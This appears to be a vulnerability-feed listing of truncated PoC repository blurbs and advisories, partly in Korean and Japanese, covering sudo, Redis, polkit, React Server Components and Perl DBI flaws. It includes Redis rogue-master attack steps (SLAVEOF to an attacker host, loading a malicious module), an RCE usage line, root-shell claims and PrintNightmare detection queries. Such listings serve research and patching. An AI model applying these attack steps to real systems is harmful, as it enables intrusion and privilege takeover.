CVE-2025-32463_Sudo_PoC

CVE-2025-32463SudoPoC CVE-2025-32463에 대한 PoC: --chroot를 통한 sudo의 로컬 권한 상승. 조작된 chroot 환경을 통해 NSS 모듈 인젝션을 악용합니다. 보안 연구자 및 실험실 전용 환경을 위해 설계되었습니다. CVE-2025-32463 - sudo --chroot를 통한 로컬 권한 상승 CVE-2025-32463에 대한 Python 기반 개념 증명 익스플로잇 — sudov1.9.14 v1.9.17의 로컬 권한 상승 취약점입니다. 이 익스플로잇은 sudo의 안전하지 않은...

Redis-RCE

Redis-RCE redis4 및 redis5용 원격 코드 실행 python 코드 출처: https://github.com/Ridter/redis-rce so 파일을 로드하여 새 명령 system.exec를 확장함으로써 명령 실행 성공 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp 0x03...

CVE-2025-32463_POC

nsswitch.conf 기본값 확인 중: passwd: files systemd chroot를 호출한 후, sudo는 명령을 실행하기 위해 nsswitch.conf의 구성 값을 구문 분석하려고 시도하며, 이로 인해 libnsssystemd.so.2를 열려고 시도하게 됩니다...

CVE-2021-1675_CarbonBlack_HuntingQuery

CVE-2021-1675 PrintNightmare 탐지용 CarbonBlack 헌팅 쿼리 1 POC 코드 탐지용 Sigma 규칙 기반 filemodname:c:\windows\system32\spool\drivers\x64\3\old\1\123 2 POC 코드 탐지용 Sigma 규칙 기반 modloadname:c:\windows\system32\spool\drivers\x64\3 OR modloadname:c:\windows\system32\spool\drivers\x64\3\old...

draytek-arsenal

Draytek Arsenal: Draytek 엣지 디바이스를 위한 관찰 가능성 및 보안 강화 툴킷. 고급 공격자들은 점점 더 엣지 디바이스를 표적으로 삼고 있습니다. 그러나 이러한 디바이스는 종종 독점 형식으로 배포되는 펌웨어로 알려진 폐쇄 소스 소프트웨어에 의해 제어됩니다. 이는 보안을 평가하기 위해 펌웨어를 추출하는 방법을 이해해야 하는 방어자와 연구자에게 추가적인 어려움을 의미합니다. 이는 단지 가상의 시나리오에 그치지 않습니다. 최근 고객이 침해 사고를 당했을 때 우리가 직접 경험했기 때문입니다. 고객 인프라의 가장자리...

CVE-2020-14372

CVE-2020-14372: 그다지 안전하지 않은 Secure Boot를 하나의 "간단한 트릭"으로 우회하기 취약점 세부 정보 어느 날 GRUB2 콘솔에 "help"를 입력했더니 정말 "재미있는" 명령들이 보였습니다: readbyte ADDR: ADDR에서 8비트 값 읽기 writebyte ADDR VAL: ADDR에 8비트 값 VAL 쓰기 나는 즉시 가장 재미있는 Secure Boot 우회 방법을 찾았다고 생각했지만, 이 명령들은 Secure Boot에서 다음과 같은 출력을 냅니다: error: Secure Boot...

POC-CVE-2025-55182

CVE-2025-55182 - React RSC RCE React Server Components의 Flight 프로토콜 역직렬화 취약점에 대한 PoC입니다. 이게 뭐야? Next.js 14+와 React 19는 클라이언트와 서버 간 통신을 위해 독점"Flight" 프로토콜을 사용합니다. 문제는 서버가 검증 없이 아무 모듈이나 로드한다는 것입니다. 그래서 childprocess를 실행하게 만들 수 있고, boom, RCE입니다. 사용법 python CVE-2025-55182.py -t -p --cmd "id" 영향을 받는 버전...

ghostlock-app

GhostLock-App 中文: READMEZH.md ドキュメント カーネルプロファイル移植ガイド - 新しいカーネルのサポートを追加します。GhostLock は uname -r の完全一致でカーネルを照合し、サポートされていないビルドを拒否して、上部にステータスを表示します。組み込みプロファイルは app/src/main/assets/kernelprofiles/ にあります。リリースごとに 1 つの HOCON ファイル、ランタイムインデックスとしての index.conf、そしてバージョンファミリーのテンプレートである -template.conf です。 対応デバイ...

CVE-2021-4034

CVE-2021-4034 polkit権限昇格エクスプロイトのためのワンデイ make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。 実際の作者による元のアドバイザリはこちらです。 PoC エクスプロイトが成功すると、すぐにrootシェルが取得できます: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module...

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

ESM環境におけるRCE — require 問題 CVE-2026-22686を介してサンドボックスエスケープを達成する際、ESMプロジェクト（"type": "module"）でOSコマンドを実行するには、Node.jsのモジュール読み込み制限を回避する必要があります。標準的なアプローチは以下の理由で失敗します： ベクター| 結果 ---|--- require'childprocess'| ❌ require is not defined — ESMでは利用不可 process.mainModule.require...| ❌ Cannot read properties of...

CVE-2025-32463

CVE-2025-32463 - Sudo 権限昇格 PoC /////// 免責事項 ///////////////////////////////////////////////////////////////////////////////////////////////////////////////// このプロジェクトは教育目的のみで提供されています。 このリポジトリのいかなる部分を使用することにより、あなたは、所有していない、または明示的なテスト許可を得ていない システムへの不正アクセスに、ここに含まれるコードや技術を利用しないことを了承するものとします。...

OVSwrap-CVE-2026-64531-Mitigation-Tool

OVSwrap CVE-2026-64531 완화 도구 Open vSwitch 커널 모듈에 영향을 미치는 OVSwrap 취약점을 탐지하고 완화하는 간단한 스크립트입니다. 기능 취약한 Open vSwitch 모듈 탐지 모듈 로드 여부 확인 자동 로드 차단 모듈을 안전하게 제거 완화 상태 확인 KernelCare 정보 표시 설치 git clone https://github.com/mahfuzreham/OVSwrap-CVE-2026-64531-Mitigation-Tool.git cd...

[SECURITY] [DSA 6416-2] jq regression update

------------------------------------------------------------------------- Debian Security Advisory DSA-6416-2 [email protected] https://www.debian.org/security/ Aron Xu September 25, 2026 https://www.debian.org/security/faq -...

CVE-2026-78030 DBI versions before 1.653 for Perl load arbitrary modules via unvalidated dbm_type and dbm_mldbm attributes in DBD::DBM

DBI versions before 1.653 for Perl load arbitrary modules via unvalidated dbmtype and dbmmldbm attributes in DBD::DBM. DBD::DBM passes the dbmtype and dbmmldbm connect attributes to require without checking that the value names a module. require treats a path-shaped string as a literal filename a...

CVE-2026-78030 DBI versions before 1.653 for Perl load arbitrary modules via unvalidated dbm_type and dbm_mldbm attributes in DBD::DBM

DBI versions before 1.653 for Perl load arbitrary modules via unvalidated dbmtype and dbmmldbm attributes in DBD::DBM. DBD::DBM passes the dbmtype and dbmmldbm connect attributes to require without checking that the value names a module. require treats a path-shaped string as a literal filename a...

PT-2026-102714

DBI versions before 1.653 for Perl load arbitrary modules via unvalidated dbm type and dbm mldbm attributes in DBD::DBM. DBD::DBM passes the dbm type and dbm mldbm connect attributes to require without checking that the value names a module. require treats a path-shaped string as a literal filena...

databases/p5-DBI -- multiple vulnerabilities

DBI project reports: DBI 1.650, 1.651, 1.652, 1.653 and 1.654 fix the following issues: CVE-2026-88815: Fix DBI::sqltypecast on IV/NV CVE-2026-88816: Fix FetchHashKeyName on IV/NV CVE-2026-78030: Fix arbitrary module and file loading via dbmtype/dbmmldbm CVE-2026-15392: Tighten symlink outside of...

Fedora 43 : perl-DBI (2026-a4674c5df6)

The remote Fedora 43 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-a4674c5df6 advisory. 1.653 Fix test for 32bit-perl Fix arbitrary module and file loading via dbmtype/dbmmldbm CVE-2026-78030 Tighten symlink outside of fdir CVE-2026-153...

Astra Linux – Vulnerability in zsh

In Zsh before version 5.8, attackers who were able to execute commands could regain privileges lost due to the --no-PRIVILEGED option. Zsh failed to overwrite the saved user ID, so the original privileges could be restored by executing MODULEPATH=/dir/with/module zmodload with a module that calls...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: dm ioctl: A misbehavior occurred when listversions raced with module loading. listversions will first estimate the required space using the dmtargetiteratelistversiongetneeded, &needed call, and then fill the space using the...